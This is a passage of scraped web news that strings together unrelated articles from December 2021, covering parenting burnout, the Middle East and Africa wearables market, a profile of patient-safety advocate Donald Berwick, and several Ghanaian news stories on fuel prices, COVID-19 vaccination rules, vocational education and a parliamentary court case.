could impact the way families relate to their spouses or kids. Read Also: Important Family Rituals for Raising Happy, Well-rounded Kids Here are some ways busy parents could end the hustle culture in their professional life and start improving their family relationships: Recognize the signs of burnout Parents who constantly work overtime may find themselves becoming emotionally distant and more reactive to what's around them. They may easily snap at co-workers or be very irritable at home and can't even enjoy their relaxation time with their kids. These are some clear signs of burnout that may also make the small tasks or errands challenging, according to Dr. Anne Browning of the University of Washington School of Medicine. To get out of this headspace, it might help to commit to a rest day or a hobby time where no work is involved and then stick to this schedule. Engage your family Breaking away from the hustle culture might be unnerving initially, especially for a workaholic. However, if parents engage their family and do recreational activities together, it will be easier to stick to the routine of setting aside work for a few days a week. Clarify what is most important in your tasks Along with committing to a rest day, parents should narrow down what really makes the most significant impact in what they do and then focus on giving this their 110 percent. They should delegate or dial back on the tasks draining their energy, which should be better spent on their family or kids. Allow micro-breaks and rest hard if you work hard In between doing the tasks, workaholic parents should give their bodies and minds "micro-breaks" so they can recalibrate, reset, recharge, and prevent burnout. If parents are working hard, they should consider resting hard as well. A break from work is not something to be earned because everyone deserves downtime, especially when overworked and stressed at their jobs. A bill was passed in Congress on December 7 proposing a four-day work week to give American workers, especially parents, more time for their families and self-care. If approved, it would require employers to pay their workers overtime beyond 32 hours a week, down from 40 hours a week in the current set-up. In the last decade, a four-day work week has been gaining ground in some European countries, and the call to adopt this policy has been more glaring after COVID-19. Related Article: Gadget-free Family Hobbies to Try Together To Make Life More Fun This service applies to you if your subscription has not yet expired on our old site. You will have continued access until your subscription expires; then you will need to purchase an ongoing subscription through our new system. Please contact the Parsons Sun office at (620) 421-2000 if you have any questions According to the latest insights from International Data Corporation (IDC), the Middle East, Turkey and Africa (META) wearable devices market posted a year-on-year growth rate of 2.0% in units and 25.4% in value in Q3 2021 with Apple leading the way with strong performances in TWS and Smartwatch segments. 3.09 million units worth $504.6 million were shipped across the region during the quarter. IDC's Wearables Devices Tracker includes earwear, watches, wristbands, modular, and glasses. "Despite ongoing supply shortage challenges, the wearables market continues to grow in the META region," says Nourhan Abdullah, a senior research analyst at IDC. "The supply disruption effects were seen in the price increments levied by many vendors during Q3 2021." "Consumers tend to spend more of their disposal income on more compatible devices connected to their cellphones," says Zeynep Kilic, a research manager at IDC. "The pandemic and lockdowns raised the demand for wearables for their health and fitness capabilities, and this is what spurred some vendors to invest in this field, such as Apple with its Fitness+ apps." The earwear category, which includes true wireless (TWS) and over-ear devices, maintained the largest share of shipments in the third quarter, accounting for 45.9% of all wearable devices shipped to the region. Year on year, earwear shipments increased 34.4% in unit terms and 22.6% in value in Q3 2021. Continuing work-from-home policies triggered demand for active noise cancellation (ANC) options to be imbedded in hearables. Apple led the earwear category with a third of the total market units, while Samsung placed second ahead of Chinese brand Xiaomi in third. (Click on image to Enlarge) The smartwatch category witnessed notable annual growth in Q3 2011 of 40.9% in units and 45.7% in value. Even with supply constraints restricting its new Series 7 line-up, Apple dominated the region's smartwatch space in Q3 2021, spurred by shipments of its Series 6 and Series 3 devices. For more on this, review IDC's full report. Other Q3-21 Wearable Reports December 14, Global TWS: "Apple Led the TWS Market in Q3-21 Doubling Samsung's market share even with next-gen AirPods Shipments slipping into Q4" December 06, Global Smartwatch: Even with Apple Watch 7 shipments slipping into Q4, Apple remained the Wearables Market Champ by more than Tripling Samsung Shipments CHAMPIONS OF CHANGE Donald Berwick, MD, MPP, Founder, President and CEO of the Institute for Healthcare Improvement Dr. Donald Berwick is one of Americas leading patient safety advocates. A clinical professor of pediatrics and health care policy at Harvard Medical School, Dr. Berwick is the founder, president and CEO of the Institute for Healthcare Improvement (IHI). For more than 20 years, he has been a positive force for health care quality improvements and a champion of transparency within the health care system. Dr. Berwicks decades-long crusade has earned him a knighthood from the Queen of England, and he has been ranked as the third most powerful American in health care behind Bill Gates and ahead of President Bush. Last year Dr. Berwick announced what even he acknowledges is probably his organizations most ambitious project, the 100,000 Lives Campaign. His premise was simple: challenge hospitals to eliminate the estimated 98,000 deaths caused by medical errors in American hospitals each year. When I announced the campaign, I knew we were walking out on a limb. We were proposing to do something bigger than we had ever done. I didnt know if hospitals would sign on to the campaign because they may not want to admit there are needless deaths. According to Dr. Berwick, the 100,000 Lives Campaign is a results-oriented project on an immense scale that was created to demonstrate what can happen when hospitals are committed to quality improvement. Says Dr. Berwick, The response to the 100,000 Lives campaign has been overwhelming. Its a total surprise to me, and the most inspiring experience of my whole professional career. More than 3,037 hospitals have committed to participate, representing 92 percent of the hospital beds in America. In addition, 74 percent of hospitals are reporting their mortality data directly to IHI. This level of reporting astounds Dr. Berwick, since most hospitals are reluctant to release such information unless required by law or a government agency. Hospitals dont like to admit mistakes because they think many are not preventable. The feeling is that inevitably there will be deaths and injuries and the public needs to understand that things sometimes go wrong. But this doesnt acknowledge that often deaths and injuries take place because of human or system error or a combination of both both of which are preventable. To launch the campaign, Dr. Berwick and IHI set about recruiting some of the most influential health care organizations in the country. Among those he convinced to participate are the American Medical Association; American Nurses Association; Centers for Medicare & Medicaid Services (CMS), an agency of the U.S. Department of Health and Human Services; the Centers for Disease Control and Prevention; and the Joint Commission on Accreditation of Healthcare Organizations. The campaign encourages thousands of hospitals across the U.S. to make a commitment to implement the following actions within their facilities: Deploy Rapid Response Teams at the first sign of patient decline at the first sign of patient decline Deliver Reliable, Evidence-Based Care for Acute Myocardial Infarction to prevent deaths from heart attack to prevent deaths from heart attack Prevent Adverse Drug Events (ADEs) by implementing medication reconciliation by implementing medication reconciliation Prevent Central Line Infections by implementing a series of interdependent, scientifically grounded steps called the Central Line Bundle by implementing a series of interdependent, scientifically grounded steps called the Central Line Bundle Prevent Surgical Site Infections by reliably delivering the correct perioperative care by reliably delivering the correct perioperative care Prevent Ventilator-Associated Pneumonia by implementing a series of interdependent, scientifically grounded steps called the Ventilator Bundle Through its partners, IHI has been able to leverage the involvement of thousands of hospitals in the campaign. According to IHI more than 63,000 lives have already been saved because of the campaign. For all the campaigns success, Dr. Berwick sees this as just the beginning. I think patients families and consumers should be more involved in the patient safety movement. Frankly, at the risk of losing friends in health care, what we need is outrage. We need the public to say no, I dont want a health care system at any price, let alone close to two trillion dollars, which is going hurt me when it tries to help me. We need to hear that from the public. Back to Top Read more Champions of Change stories is one of Americas leading patient safety advocates. A clinical professor of pediatrics and health care policy at Harvard Medical School, Dr. Berwick is the founder, president and CEO of the Institute for Healthcare Improvement (IHI). For more than 20 years, he has been a positive force for health care quality improvements and a champion of transparency within the health care system. Dr. Berwicks decades-long crusade has earned him a knighthood from the Queen of England, and he has been ranked as the third most powerful American in health care behind Bill Gates and ahead of President Bush.Last year Dr. Berwick announced what even he acknowledges is probably his organizations most ambitious project, the 100,000 Lives Campaign. His premise was simple: challenge hospitals to eliminate the estimated 98,000 deaths caused by medical errors in American hospitals each year.When I announced the campaign, I knew we were walking out on a limb. We were proposing to do something bigger than we had ever done. I didnt know if hospitals would sign on to the campaign because they may not want to admit there are needless deaths.According to Dr. Berwick, the 100,000 Lives Campaign is a results-oriented project on an immense scale that was created to demonstrate what can happen when hospitals are committed to quality improvement.Says Dr. Berwick, The response to the 100,000 Lives campaign has been overwhelming. Its a total surprise to me, and the most inspiring experience of my whole professional career.More than 3,037 hospitals have committed to participate, representing 92 percent of the hospital beds in America. In addition, 74 percent of hospitals are reporting their mortality data directly to IHI. This level of reporting astounds Dr. Berwick, since most hospitals are reluctant to release such information unless required by law or a government agency.Hospitals dont like to admit mistakes because they think many are not preventable. The feeling is that inevitably there will be deaths and injuries and the public needs to understand that things sometimes go wrong. But this doesnt acknowledge that often deaths and injuries take place because of human or system error or a combination of both both of which are preventable.To launch the campaign, Dr. Berwick and IHI set about recruiting some of the most influential health care organizations in the country. Among those he convinced to participate are the American Medical Association; American Nurses Association; Centers for Medicare & Medicaid Services (CMS), an agency of the U.S. Department of Health and Human Services; the Centers for Disease Control and Prevention; and the Joint Commission on Accreditation of Healthcare Organizations. The campaign encourages thousands of hospitals across the U.S. to make a commitment to implement the following actions within their facilities:Through its partners, IHI has been able to leverage the involvement of thousands of hospitals in the campaign. According to IHI more than 63,000 lives have already been saved because of the campaign. For all the campaigns success, Dr. Berwick sees this as just the beginning.I think patients families and consumers should be more involved in the patient safety movement. Frankly, at the risk of losing friends in health care, what we need is outrage. We need the public to say no, I dont want a health care system at any price, let alone close to two trillion dollars, which is going hurt me when it tries to help me. We need to hear that from the public. Chief Executive Officer of Ghana Chamber of Bulk Oil Distributors (CBOD), Senyo Hosi, has called on the government to look into the pricing of petroleum products on the market. He averred that fuel prices can be reduced to GH6.00 per litre if necessary measures have been put in place to control the oil and gas market. There are a number of things that dont need to be there. The BOST margin for instance. Also, our transportation margins are overpriced. We can easily get our price back to below 6 cedis or just at 6 cedis if we want. But these are decisions government needs to take, he stated. Speaking on NewsFile on Saturday, December 11, 2021, Mr. Hosi said if the government considers directing the Bank of Ghana to dedicate its Foreign Exchange supply to the oil sector, there would be lower fuel prices. And that rationalising our taxes could be a game-changer. Those pricing petrol today will be doing that with a Foreign Exchange (FX) rate of about 6.6 or 6.5 but if the Bank of Ghana releases FX to the country from time to time at a rate of about 5.9 thereabouts. If the government takes a policy that oil has a cascading impact on all products and the general economic life so it is directing the Bank of Ghana to dedicate its FX supply to the oil sector, well be able to reduce petroleum prices from 6.7 to about 6.2, he added. According to the CEO of Ghana Chamber of Bulk Oil Distributors, taxes and regulatory margin on fuel account for 2.27 on every litre adding that its about time taxes on that are relooked. He noted that 1.74 pesewas are paid as tax while the remaining figure goes to the regulatory margin, which is coordinated by the National Petroleum Authority (NPA) and some government agencies. Senyo Hosi called for the scrapping of BOST margin on petroleum prices. His comment came after the Coalition of Commercial Transport Owners embarked on a sit-down strike on December 6, 2021, to protest the various levies imposed on petroleum products leading to the hike in sales of fuel. The strike left many passengers stranded but was later suspended after a meeting with the government. ShareTweetSendShare Source: radiogoldlive.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The creative arts sector has the capacity to boost economic growth if more is invested in educating and training upcoming players who have the passion to become a part of the industry, a panel of seasoned experts at the 2021 Global Entrepreneurship Week have said. Addressing the challenges faced by the sector, Chief Executive Officer (CEO), CharterHouse Production West Africa, Theresa Ayoade, noted that the Ghanaian academic curricular is not structured to train and churn out human creativity and that has placed the country in a steep learning curve. She suggested that an early introduction of creative courses in the academic curricular will help solve the problem. Our education system is only training people for science, business and humanities; the arts are completely missing. Human capital is a big issue for us in the industry and it makes us have a long learning curve, meaning that there are just a few experts in the industry who have gone through training and have that experience and it is the same people that the industry is circulating which really limits us, she added. Despite commendable progress made to boost entrepreneurship, she noted that the sector is still faced with underemployment. Talking about entrepreneurship, I am quite impressed about the fact that the more the industry develops, the more entrepreneurs are created. When we started our entrepreneurial journey in events, there were no vendors, but I am happy that down the line there are so many event vendors especially in the wedding industry. So, we need more creative entrepreneurs because there are still more opportunities, she noted. Taking his turn, CEO of the International Advertising Association, Joel Nettey said bridging the education gap is crucial for the growth needed in the industry, urging creative actors to make an all-out effort to become competitive and passionate amidst the challenges and also seek apprentice training from different mentors to master their craft as that will make them understand as well as stand out unique in their field. There is a huge gap there and if you look at it critically, our relative strength will be more in the creative space and that is where we naturally survive but thats where the real issues are, he noted. There should be a form of apprentice training. One should always aspire to be an entrepreneur but before you do that and be successful, you have to make sure that you walk through the road so whether it is within a big establishment or one-on-one mentorship, make sure you learn, strive to be the very best at what you do, he added. On his part, Founder of 3Music, Sadiq Abdulai said young people are being exploited for their creative ideas without any of them being acknowledged and that has driven most young people away from the industry and addressing this, he said, is crucial to the development of the industry. Director for Chalewote Street Arts Festival, Mantse Aryeequaye has said for an entrepreneurial space to thrive, it will mean that everyone has one rule book that facilitates how players operate and ensures that people are not exploited. He said it is fundamental to have cooperatives understand the value of creative entrepreneurs. You cannot take peoples ideas and give nothing in return especially when people toil up to make these ideas and that's how they make a living. Largely the conversation should be about regulation, what government can do in terms of incentives, tax waivers for creative enterprises, affordable spaces that creatives can occupy that the government can facilitate," he noted. Source: Peacefmonline.com/ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Nona Graceland School climaxed their 6th Anniversary Celebrations with a Graduation and Speech and Awards Ceremony. The event took place on Saturday December 11, 2021 at their new campus located at Okpoi Gonno, Accra (GZ-122-5658). Attendees have called the event a colourful ceremony, as all parents and graduands were dressed in beautifully woven Kente outfits. The event had 25 students graduate from Nursery 2 to Kindergarten 1 and 21 students graduate from Kindergarten 2 to Primary 1. Deserving students also were awarded in various categories for their hardwork and academic achievements. The event was held under the theme Godliness in Education; the key cornerstone for transforming societies. The event was chaired by Rev. Dr. Samuel Ayete-Nyampong, a lecturer at the Trinity Theological Seminary and the immediate past Clerk of the General Assembly of the Presbyterian Church of Ghana. He commended the Management and Staff of the School for sticking to their core values; Godliness, Excellence and Leadership and called for other educational institutions to emulate this in order to raise generations of great scholars who also have a relationship with God. The special guest of honour for the event was Evangelist Dr. Abboah-Offei of the Presbyterian Church of Ghana, Grace Congregation (Akropong) and founder and leader of the Patmos Prayer Centre, Akropong. In a speech read on his behalf by Rev. Emmanuel Quist (Director of Administration, Patmos Prayer Centre), he reiterated the need to deepen discipline in basic schools. When there is Godly discipline in schools, parents can be confident that their investments into their childrens education will yield greater results not only for the student or the family, but also for the society he said. The Chief Executive Officer of the School, Mrs. Comfort Tetteh Nanor reiterated that the educational journey is a major contributor to grooming the students into becoming responsible citizens. Research has shown that children spend a significant percentage of their waking hours in school. 13.36 percent of waking hours spent in school by the time they are in Senior High School. There is a need therefore to have them placed in the most conducive environments in order to develop their God-given capabilities to enable the children contribute effectively to transforming societies she said. Mrs. Nanor called on stakeholders in the educational sector not to take out Godliness from academic activities. In her conclusion, she said, the home may be Godly, the family may be part of a Church. However, when Godliness is absent in schools, the efforts of the other stakeholders will be completely negated. Godliness in education is indeed a key cornerstone for transforming societies. Nona Graceland School is one of the fastest growing private Schools located at Okpoi Gonno, within the Ledzokuku Krowor Municipal Assembly, Accra. Nona Graceland School combines the Montessori and GES Curriculum and is dedicated to raising a generation of Godly and Excellent leaders for driving global change. They currently have classes from Creche to the Basic 4. As part of their growth strategies, a new block is under construction to house the upper classes up to JHS 3. The Management of the school announced that the new block which will be operational from January 2022 will be named after Evangelist Dr. Abboah Offei for his great achievements in the body of Christ and in society. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video In 2021, Huawei has successfully trained more than 600 students through the Seeds for the Future program in 14 sub-Saharan countries covering emerging ICT technologies such as 5G, cloud computing, and AI, helping them get job-ready for the digital economy era. According to the Mobile Economy in Sub-Saharan Africa 2020 report, released by the Global Association for Mobile Telecommunications Systems, sub-Saharan Africa is the fastest-growing region in the world, and African countries have entered a rapid development of the digital economy era. In this process, ICT technologies are an important engine that drives countries development, and mastering of ICT technologies is the engines key. Through programs such as Seeds for the Future, Huawei cultivates ICT knowledge and skills for local youth. During COVID-19 pandemic, the program took place online learning, and in person where possible. Students were offered the flexibility to access several ICT courses online at their own pace, they were invited to participate in science and technology roundtables, and interact with youth around the world in real-time. Through 5G live broadcasts, students were able to join guided tours of Huawei exhibition halls and historic cultural sites in China. Meanwhile, under the guidance of professional mentors from Huaweis Tech4Good program they were encouraged to design solutions to solve developmental challenges facing each of their countries, and realize the value of practical application of the theory they had learned. In this year's training, Huawei has paid more attention to briedining the gender divide in science and technology training. More than one third of the total number of Seeds candidates were women. Other highlights include: In Ghana, nine ICT training sessions were held in junior high schools, senior high schools, universities, and society. Currently, the ICT training program is still under way. Madagascar provided basic digital skills and training to more than 30 women. Governments in sub-Saharan Africa have also given high interest to the project. The South African government has included a series of talent development initiatives, including Seeds for the Future, in its national digital economy master plan. The heads of state of Uganda, Mauritius, and Malawi have highly praised Huawei's talent development plan. The president of Mauritius, Prithvirajsing Roopun said Huawei's project would help build a national ICT talent team, strengthen youth employment capabilities, and support the National Digital Mauritius 2030 Strategic Plan. Optional The Prime Minister of Uganda, Robinah Nabbanja said Huawei had set a good example of how a global company could contribute to the growth and technological advancement of the ICT industry by upgrading its ICT infrastructure and introducing cutting-edge technologies and skills training to Uganda. Malawis President, Lazarus Mccarthy Chakwera said Huawei as Malawi's trustworthy partner on the journey towards the attainment of the smart Malawi vision, Huawei has set an impeccable example for private sector partners and international investors by contributing to Malawi's development from different dimensions. Seeds for the Future is Huawei's global CSR flagship program. Launched in 2008, it aims to help nurture local talent, promote knowledge transfer, increase people's understanding and interest in the ICT industry, and encourage countries and regions to participate in the digital community building. By 2021, the program has been implemented in 131 countries and territories worldwide, with nearly 9,000 students participating. Since 2014, the program has been held in sub-Saharan African countries. So far, 25 countries, including South Africa, Kenya, Nigeria and Ghana, have participated in the training, which has so far benefitted more than 1,000 students. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Chief Executive Officer of the State Transport Corporation (STC), Nana Akomea, has asked the health authorities to be careful with using force to administer COVID-19 vaccines to Ghanaians. With the rise of the new Coronavirus variant called Omicron, the Ghana Health Service (GHS) has updated its vaccination directive. According to the GHS, all unvaccinated Ghanaians and people with residential status returning to Ghana after 14 days from Monday midnight will be vaccinated on arrival. Also, all persons 18 years or above arriving in the country are required to provide evidence of full vaccination for COVID-19. This compulsory directive for all persons in the country to be vaccinated has been met with dissenting views. The Communications Officer of the National Democratic Congress (NDC), Sammy Gyamfi has condemned the directive saying in a Facebook post that "vaccination must be by choice and not by force. The imposition of compulsory COVID vaccination requirement on all Ghanaians traveling into and out of Ghana by the Ghana Health Service is reprehensible and an affront to the 1992 Constitution. And some of us are determined to fight this madness through every available legal means no matter the cost or stigma". Ningo Prampram MP, Sam George also reacting to the directive argued, in a tweet, that the "compulsory vaccination upon entry to the Republic? Infringement of rights or public health policy? This is sound public health policy and a very good step by govt. I support it and hope it is implemented vigorously. Public health considerations supersede personal liberties". Nana Akomea, on his part, also disagrees with the compulsory vaccination but subscribes to government placing restrictions on unvaccinated persons. He argued that to vaccinate or not vaccinate should be one's choice to make, however, for the unvaccinated person not to put himself/herself and others at risk, it is incumbent on the government to restrict their movements to places and events. He cautioned the authorities to exercise restraint in enforcing the compulsory vaccination mandate because forcing people to take the vaccine may have legal ramifications. "That new order that you will be forced to vaccinate, if care is not taken, could be tested in the Supreme Court. When we say if you don't have it (vaccinated card), you won't be permitted to enter Ghana, then the choice is still yours but the way the information came that if you don't have it, you will be vaccinated at the airport becomes a force. The option should be you will not be allowed to enter," he said during Tuesday's "Kokrokoo" on Peace FM. Nana Akomea, nonetheless, advised all Ghanaians to go for the vaccine jab to safeguard them and the country against the Coronavirus, stating though they have rights not to vaccinate, their "rights also come with responsibilities. Not all rights are absolute". Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Amid fear of the spread of the Omicron variant of Covid-19, Zoomlion Ghana Limited has undertaken a thorough disinfection operation in all the airports across the country. The exercise, which was simultaneously carried out on Tuesday, December 14, 2021, covered the Kotoka International Airport (KIA) Greater Accra, Kumasi Airport - Ashanti and Tamale Airport - Northern. The exercise forms part of an arrangement between the government and Zoomlion which sees the waste management company disinfect these airports on a monthly basis to curb the spread of any Covid-19 tendencies and especially in the light of the new Omicron variant. Already Ghana has recorded some cases of the Omicron variant, all of which were detected at the KIA. At the KIA, facilities disinfected included the departure and arrival halls, VIP lounge, Airport Clinic, restrooms, and open spaces among others. Briefing the media on the sidelines of the exercise at the KIA, a Vector Control Officer at Zoomlion Ghana Limited, Mr King Jones Wonder, said the exercise was crucial in the countrys quest to curb the virus. "We're here today to disinfect this Kotoka International Airport, and we do this on a monthly basis so it's time to disinfect this place, he indicated. He added that the exercise was being done in the other airports across the country. "We're doing this to curb the spread of especially the new variant of the Covid-19 called Omicron because it spreads faster than the previous viruses," he stated. While pointing out that the national disinfection exercises against Covid-19 has helped a great deal, Mr Wonder reminded Ghanaians to continuously abide by the protocols. He also assuaged the fears of both Ghanaians and foreigners coming into the country, stressing that our airports were safe and also adequate measures have been put in place by the airport authorities to ensure that travellers are protected from the Omicron variant of the Covid-19. "The airport is safe for all the arrivals so we're urging travellers to put away any fears, and enjoy their stay in Ghana during and after the Christmas and New Year festivities, he assured. He further indicated that the chemical used for the exercise had no side effects and would not harm human beings. According to Mr Wonder, Covid was still in the country, hence cautioning Ghanaians against losing their guard. "I entreat each and every Ghanaian and to all those entering the country to continue wearing nose masks, observe social distancing, wash their hands and take other precautions against the virus," he urged. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Governments determination to make Technical and Vocational Education a priority has received a major boost following the launch in Accra of the Ghana Technical and Vocational Education and Training (TVET) Service by the Vice President, Dr Mahamudu Bawumia. This brings together all the technical and vocational programmes run by 19 different Ministries under the ambit of the Ghana TVET Service, with the Director General of the Service reporting to the Minister and Ministry of Education, like her counterpart, Director General of the Ghana Education Service and other agencies under the Ministry. The operationalization of the Service is also to ensure the smooth take-off of Governments flagship programme Free TVET For All under which all the TVET Institutions which are now captured under the Ghana TVET Service will be included in the next academic years (February 2022) Computerized School Selection and Placement System (CSSPS) for selection by the Junior High School graduates. Performing the launch on Tuesday, 14th December 2021 at the Accra Technical Training Centre (ATTC), Vice President Bawumia recalled that before the Akufo-Addo government assumed office in 2017, many challenges including the poor perception of TVET, the multiplicity of standards, testing and certification systems, and an informal TVET system that had been neglected and detached from the formal sector affected the quality of TVET delivery in our institutions. This made it difficult for the sector to become the key catalyst that could spur industrialization and decent job creation for the citizens of this country but Government, he assured, is tackling many of these issues. This Government from 2017, as part of the Presidents plan to transform the Technical and Vocational Education and Training in the country, has been streamlining the TVET Sector to ensure that the sector becomes a central force of our national development agenda. One of many such initiatives to ensure this, is the establishment of the Ghana TVET Service. In 2017, Government formed a 15-Member Technical Committee with Membership from various Ministries and Agencies to establish the Ghana TVET Service. After extensive work and national stakeholder engagement, the Committee presented a Draft Bill to Cabinet for approval in 2019. The draft was later sent to Parliament and assented to by the President of the Republic, H.E. Nana Addo Dankwa Akufo-Addo on 29th December 2020 as Pre-Tertiary Act, 2020 (Act 1049). The essence of Act 1049, Dr Bawumia explained, is to ensure that all TVET Providing Institutions under the 19 Ministries are realigned to the Ghana TVET Service. Hitherto, these TVET Institutions were under the umbrella bodies such as Ghana Education Services Technical and Vocational Education Division (GES-TVED); National Vocational Training Institute (NVTI); Opportunities Industrialization Centre Ghana (OICG); Gender, Children and Social Protection; Ghana Regional Appropriate Technology Industrial Service (GRATIS); Community Development Vocational Institutes (CDVI); Youth Leadership and Skills Training Institutes (YLSTI), Social Welfare Training Institutes, Farm Institutes and Technology Solution Centres; and the Integrated Community Centres for Employable Skills (ICCES). While improving the capacity of the countrys educational sector to create a more robust TVET Service, it is equally important to focus attention on the professional and capacity building of the facilitators and teachers who will train the young people in the various Technical and Vocational Training Institutes, Dr Bawumia noted. Thankfully, the Ministry of Education has made significant progress with teacher professionalism to conform with global education standards. I, therefore, urge parents of JHS graduates to counsel their wards to consider choosing TVET programmes since these programmes are designed to equip our SHS leavers with practical skills needed for the job market. Addressing the fears of parents and guardians who may have been worried about a possible truncation of the educational path of children who take the TVET path, Vice President assured: There is the opportunity for those who complete their TVET programmes to continue from the National Proficiency levels through Certificate levels to HND, B.TECH, M.TECH to the Doctor of Technology level with the National TVET Qualifications Framework (NTVETQF), which the Commission is implementing for TVET. The first Director General of the Ghana TVET Service, Mrs Mawusi N. Awity, pledged her outfits commitment to meeting the needs of the youth, saying We will ensure the acquisition of skills by the youth and the elderly to enable them create jobs and help move our beloved Ghana forward." Source: Office of the Vice President Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Deputy Minister of Lands and Natural Resources, George Mireku Duker has commissioned Mfante Community Mining Scheme at Tepa in the Ahafo-Ano North Municipality in the Ashanti Region. Commissioning the Scheme on behalf of the sector Minister, Samuel Abu Jinapor, at a durbar of Chiefs, Hon. Mireku Duker outlined the Community Mining Scheme concept and the government's commitment to use it as an alternative livelihood employment module to mitigate illegal mining. Hon. Mireku Duker, who doubles as Member of Parliament for Tarkwa-Nsuaem Constituency, made this known in a statement copied to Peacefmonline. "The 50-acre concession is estimated to create some 2,000 and 1,000s of direct and indirect jobs respectively. On behalf of government and its commitment to protect our environment through responsible mining, I donated a Mercury-Free Gold Processing Unit worth US$125,000.00 to support the Scheme", portions of the statement read. Read full statement below: HON. GEORGE MIREKU DUKER COMMISSIONS MFANTE COMMUNITY SCHEME, 2,000 JOBS CREATED Earlier in the day, I on behalf of Hon Samuel Abu Jinapor commissioned the Mfante Community Mining Scheme at Tepa in the Ahafo-Ano North Municipality in the Ashanti Region. The Scheme satisfied the checklist as outlined by the Small-Scale and Community Mining Operational Manual. At a Durbar of Chiefs and good people of Mfante, I outlined the Community Mining Scheme concept and how government is very determined to use it as an alternative livelihood employment module to mitigate illegal mining. The 50-acre concession is estimated to create some 2,000 and 1,000s of direct and indirect jobs respectively. On behalf of government and its commitment to protect our environment through responsible mining, I donated a Mercury-Free Gold Processing Unit worth US$125,000.00 to support the Scheme. Further, I touched on the Minerals Development Unit which will be launched very soon by government to provide credit facilities for Small-Scale Miners in a bid to eliminate foreign finance involvement in the sector. I urged the Management of the Scheme to strictly adhere to sustainable mining practices, avoid involvement of foreign nationals in their operations among others. In their speech, the Municipal Chief Executive of Ahafo-Ano North Municipality, Hon. Martina Appiah Nyantakyi and Nana Agyeman Badu Duah, Representative of Kunsuhene commended the government for taking such a great step tp create jobs in the Municipal. The government will continue to establish more of such schemes across the country to create jobs. I was accompanied on the trip by Mr. Benjamin Aryee, Advisor on Mines, Mr. Peter Awuah, Technical Director of Mines, Dr. John Krugu, Project Coordinator, Ghana Land Restoration and Small Scale Mining Project, Mr. Nelson Ahedor, Director of Small-Scale Mining at Minerals Commission and other officials. Thank you. Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Court of Appeal has dismissed two applications filed by the National Democratic Congress (NDC) Member of Parliament (MP) for Assin North, Mr James Gyakye Quayson, to appeal the High Court's decision prohibiting him from holding office as an MP. The MP, through his lawyers, filed three applications to appeal for stay of execution, an issue of interpretation at the Supreme Court under Article 94(2) clause (a), and application to file supplementary grounds of appeal to support substantive case before the court (affidavit). However, the court presided over by Justice Irene Charity Larbi, along with two other justices, refused his motions for a stay of execution and a Supreme Court hearing on an issue of interpretation of Article 94 (2)A. It, however, adjourned the case for the appellant to file further grounds to support the substantive matter before the court. The case was subsequently adjourned to January 24, 2022. Mr Quayson's filed a substantive action in which he challenged the High Court's verdict on his dual citizenship matter. The courtroom was packed with political heavyweights including the General Secretary of the New Patriotic Party, Mr John Boadu, Mr Peter Mac Manu, Campaign Manager of the NPP in the 2020 general election among other personalities and some members of the general public. There was heavy security presence. Background The High Court, presided over by Justice Kwasi Boakye in July, annulled the Assin North Constituency's 2020 Parliamentary election. However, on August 2, 2021, Mr Quayson appealed the ruling of the court. In a petition filed at the Court of Appeal, he asked the court to quash the decision of the Cape Coast High Court. It was the case of the MP that the trial judge erred in nullifying the parliamentary election in the constituency. The judgement is wholly against the weight of the evidence, he stated. Grounds of appeal The appellant pointed out the particulars of error of law contained in the ruling of the trial judge For instance, he said Section 1(2) of the Evidence Act 323 makes the determination of foreign law (in this case, Canadian law pertaining to owing allegiance to Canada) a question of fact to be proved by leading evidence. The High Court did not allow for proof of foreign law in the determination of the issue of whether or not the appellant owed allegiance to a country other than Ghana, he said. Citing a Supreme Court ruling in Re: The Republic v. High Court (Commercial Division) Accra, the appellant said per Article 129(3) of the 1992 Constitution, all courts were bound to follow decisions of the Supreme Court on questions of law. Source: Graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video More than 100 unvaccinated Ghanaians who arrived at the Kotoka International Airport (KIA) on Tuesday December 14, 2021, have been vaccinated with the single-shot Johnson and Johnson COVID-19 vaccine as per the Ghana Health Service (GHS) directive. The directive is part of the revised protocol for persons arriving in the country through the KIA following the detection of the Omicron variant of the (COVID-19). The Head, Port Health at the KIA, Dr Lawrence Lartey, who confirmed the jabbing in an interview with the Daily Graphic yesterday, said the vaccination was done for unvaccinated Ghanaians who arrived in the country, following the coming into effect of the revised policy. He explained that the Ghanaians who were vaccinated were returning from West African countries and indicated that the vaccination exercise would continue for the next two weeks, as per the GHS mandatory vaccine policy. Directive Per the GHS directive, airlines that bring passengers who are not fully vaccinated to the KIA shall be surcharged $3,500 per passenger. Again, passengers are required to present evidence of 